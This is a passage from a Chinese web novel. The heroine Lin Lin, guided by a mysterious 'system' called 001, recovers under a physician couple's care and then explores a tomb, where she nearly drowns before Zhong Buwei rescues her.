那道声音难得正经了一会儿，很快又戏谑的笑了起来，“开启生命休眠舱的积分需要宿主后续做任务进行偿付哦。” 刚又了一些力气的林霖听到自己欠了一笔债，眼一黑又彻底昏过去了。 刚在外面还在苦恼这女子血流不止的夫妻俩，看着林霖身上的伤口逐渐愈合，结痂，男子观察着她的面色，沉吟着探了探脉。 “最紧急的病症正在缓慢愈合，但有一些沉疴病症还一动未动，真是怪了。” 男子有些惊奇的看着林霖，眼里多了几丝兴味，“虽然不知这姑娘愿不愿意喝苦药，但既然来了我这里，我必然给她调理的服服帖帖，保证身体健健康康。” 女子瞥了他一眼，“许神医真是菩萨心肠。” 男子讪讪一笑，“大不了我给她多加些蜜制的甜叶菊便是，正好清清她的火气。” 反正他也不是故意让这位姑娘喝苦药的，他绝对没有看着别人喝苦药就会兴奋的感觉，这完全是治疗所需。 日子就这么一天天过去，林霖的伤势也在一天天缓解。在神秘力量和许姓神医的帮助下，她终于恢复了神志。 只不过刚一醒来，一股苦涩还略带点酸的感觉就冲着她扑面而来，吓得她赶紧睁开眼睛。 一个脸上带有些许伤痕的女子正怀抱着她，手上还拿着一碗药。见林霖睁开眼，女子挑了挑眉，淡淡问了一句，“醒了？” 林霖不熟练的用脖子微微点了点头，了。 “许秋意，你就回来的人醒了。” 这声音不大，却引来了一阵不小的动静，名叫许秋意的男子兴奋的冲进屋里，将手上的水舀子放到桌子上，满意的上下打量了几眼自家夫人怀中的女子。 “夫人，看来我的功力丝毫未减啊。” 女子顿了顿，将还未送入口中的药递给男子，看着林霖的眼神中也带了些许欣慰，“我叫傅成欢，他叫许秋意，你半个月前落入招风崖的河里，正巧被我们看见，带了回来。” 林霖努力让自己眼中出现些许感激的神情，对着二人费力眨了眨眼。 “不过你身上的伤一时半会还难以康复，”许秋意端着碗，笑得温良无害，“你是准备修养几日再走，还是留在这里，等到调理的差不多了再离开这里。” “……” 28. 又见 林霖站在与幻境中一模一样的墓穴分叉口前时，瞬间就后悔了。 001这狗东西又装失踪，只说会给她派帮手，她现在来到墓前了，帮手帮手没看到，墓也进不去。 “姐姐，咱们难道要一直呆在这里吗？”祝苑小心翼翼的将手旁的最后一块石头放在石塔上，结果丝毫不出意料。 石塔又一次瞬间崩塌下来，散落的到处都是。 “姐姐，你看这石头！”小姑娘眼里瞬间蓄满了泪水，“它又塌了！” 林霖一言难尽的看着那些石块与沙土，这样下去，祝苑还没被墓里的东西吓到，反而要先因为搭石塔而变得郁郁寡欢了。 “算了，我们先进去。” “去哪条道。” 林霖又一次拾起三块石头，向洞口扔去，石子又一次在一阵叠在一起的滚动声中同时销声匿迹。 “我的名有十六画，点十六次的话……”林霖点了十六个数后，向最左面的那条道走去。 祝苑丢下手里的石头，握住了林霖的手，“姐姐，咱们真的要走得这么草率吗？” “没办法，也不能耗在这里，”林霖提起祝苑的衣领，将她摁在自己怀里，“这样就不会丢了。” 祝苑只好紧紧环住林霖的脖颈，闷声道：“姐姐慢点，如果好了，叫我就好。” “好。” 墓里的光线很暗，岔路口与斜坡土路并不少，大密室连着小密室，这一路上机关解了不少，但就是没有看到过出口的方向。 林霖烦躁的站在水潭前，心里又一次生出下水看看的欲望，但看着身旁的祝苑，又一次压下了这个念头。 小姑娘从小到大都没离开过无双城阴市，自然也没学习过枭水的手段，况且这一路上，若没她的帮忙，林霖绝不可能一个人来到这里，要她抛下祝苑，一个人下水…… 还不如让001上树来得实在。 “姐姐，你一个人下水吧。” 祝苑是个聪明的小姑娘，她自然能看出林霖在想什么，她看着周围破破烂烂的骨头与石俑，虽然害怕的感觉如潮水般时不时涌出，但她也知道不螚因为自己一个人的感受影响林霖的事情。 “放心吧，我也是会一些功夫的，不会出什么大事。” “不行，我既然把你从无双城带出来，我就会负责，”林霖不赞同的看着她，“你要是出什么事，我没办法和齐阁主与柳姨交代。” “早知道不带我就好了，我就是个累赘……” 听着祝苑低声的喃喃自语，林霖心中更加惆怅与无奈，也更加加重了不能丢下她一个人的观点。 但看着无法看到池底的水面，林霖也明白自己不能贸然带祝苑下水。 “这样吧，我先下去看看，探探情况，若是情况可以，我带着你一起下水。” 林霖取下包袱，将装着杂七杂八的东西都包袱挂到祝苑身上，同时顺手给祝苑整了整衣领。 “我下水的这段时间内记得躲好，遇到陌生人，直接把里面的瓶瓶罐罐掏出来向他们扔去，里面的药粉足够让不怀好意的人喝一壶了。” 祝苑抓紧包袱的结，睁着一双圆溜溜的双眼，郑重的说了一声，“好。” 林霖下意识看了一眼腰间挂着的扇子，深吸一口气后，跃入水中。 这水比她想象的要干净一些，她眯着眼睛，忍着些许不适向水底游去。 水里的黑暗如蚕丝一样逐渐包裹了林霖全身，但现在返回，她憋的气显然是不太够了。 林霖只好继续拨开水面，向下面游去。 蚕丝般的水，慢慢渗透进她身体的每一部分。直到林霖因为这股“力量”而感受到火烧般的痛苦与束缚时。 一只冰凉的手抚上了她的脸庞，关切的安抚的动作让林霖多了几分喘息的时机。 手的主人慢慢叹了口气，让林霖贴近了自己，望着晕头转向，眼神有些涣散的林霖。 犹豫片刻后，将唇贴了上去，为她渡气。 林霖汲取着那股能让她活下来的气，微微睁开眼，看着抱着她逐渐下沉的人。 黑色的衣服，发丝随着水向上飞扬，眼中的关切与冷漠依旧像以往那样熟悉。 那种复杂的，自厌的神情中，多了一份焦急与不容置喙。 是你啊…… 林霖让自己向上靠近那道身影，两个人平时隔了十万八千里的距离在这一刻终于紧密的贴合在了一起。 不仅仅是为了活下来，或许还有那一瞬间的安心。 他们属于同一个同盟，有着相同的摆脱命运的目标。 偏偏在这一刻，林霖觉得001所说的那句话还是有几分贴合现实的。 看着相互缠绕在一起的发丝，林霖的眸光稍微暗了暗，或许她留在这里，还真有钟不为美色误人的嫌疑。 原本不太清晰的火烧般的痛觉在这种缠绵悱恻的救助中变得清晰，耳边安静的声音也逐渐变得嘈杂。 摇晃的草木，纠缠的风，节律的水滴，以及身上人深浅交替的呼吸声。 是你啊。 这句话原本是要被林霖说出口的，但肺实在是被水侵占挤压的说不出来话，她只能忍受着痛楚向他比出了这个口型。 作为被侵占空气的那一方，钟不为即使水性再好，耳边也依旧传来一阵嗡鸣，眼前也被蒙上了一层水雾。 可是看着林霖比着口型的那句话，他却感觉自己能够听见了。 他没有做多余的事情，只是点了点头。 对，是我，所以安心的休养吧，剩下的事情都交给我来吧。 我亏欠于你，所以你可以相信我，直至各自的所需走向终点…… 001处理完一切后，重新回来时看到的就是这一幕。 身为没什么感情的天外来物，它居然生出了些许感慨，乃至于怜惜的情绪。 跟着它，这两人算是受苦了，不是在为自己奔波，就是在为对方奔波。 …… 林霖再一次清醒过来时，首先感觉到的是一股在鼻腔爆炸的酸胀感，其次就感觉到了冷风中的温暖，她转了转头，看向最暖和的那一块地 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只是望着周围破破烂烂的树木与荒凉的土地，林霖心中多了更多的疑惑。 一位建国的将军，居然死在这种地方。 “他是来这里忏悔的，”钟不为的神情多了些许耐人寻味，“没人知道他在懊悔什么，但他叛国时没有悔恨，杀掉曾经信任他的人时没有悔恨，却在登上龙椅时，望着梁国的方向落下了眼泪。” “如果真能探索出什么故事来，也是一件很有趣的事情。不过这些都是之后的事情，现在最重要的是我先下去。” 没等林霖反应过来，钟不为就直接跃了下去。 水面激起一片小小的水花。 林霖有些懊恼的看着那里，她早该知道001只能将钟不为喊过来。 这才过了三四天，他身上的伤绝对没有好彻底，就算是林家zuid下等的佣人也没有被这么用的。 “你也听他说了，我走的道是守恒之道，所以我提供的帮助只能在一定范围内，并且提供帮助后，我还要去填补世界漏洞保持守恒。”001悠然出声。 林霖又被吓了一跳，咬牙切齿的低声问道：“你是故意的吗？” “这次真不是，”001有些无奈，“我以为你已经脱敏了。” “关于你口中的脱敏这个词的含义，我觉得你应该重新学一学，丰富一下你的知识储备。不过这个不是重要的，”林霖心中有了更重要的问题。 “你说你的能量来源与该世界守恒有关，那么你尝试过成为这个世界的一部分，从而摆脱这种限制吗？” 001叹了口气，“你不会想知道的，会造成很恐怖的结局。” “怎么说。” “……我的上上个前辈尝试过这件事，最后它炸成碎片了。还有上一个，和某一个朝代牵扯到太深，结果还没准备好足够的逃脱平衡的器具，就直接报销了。” “……”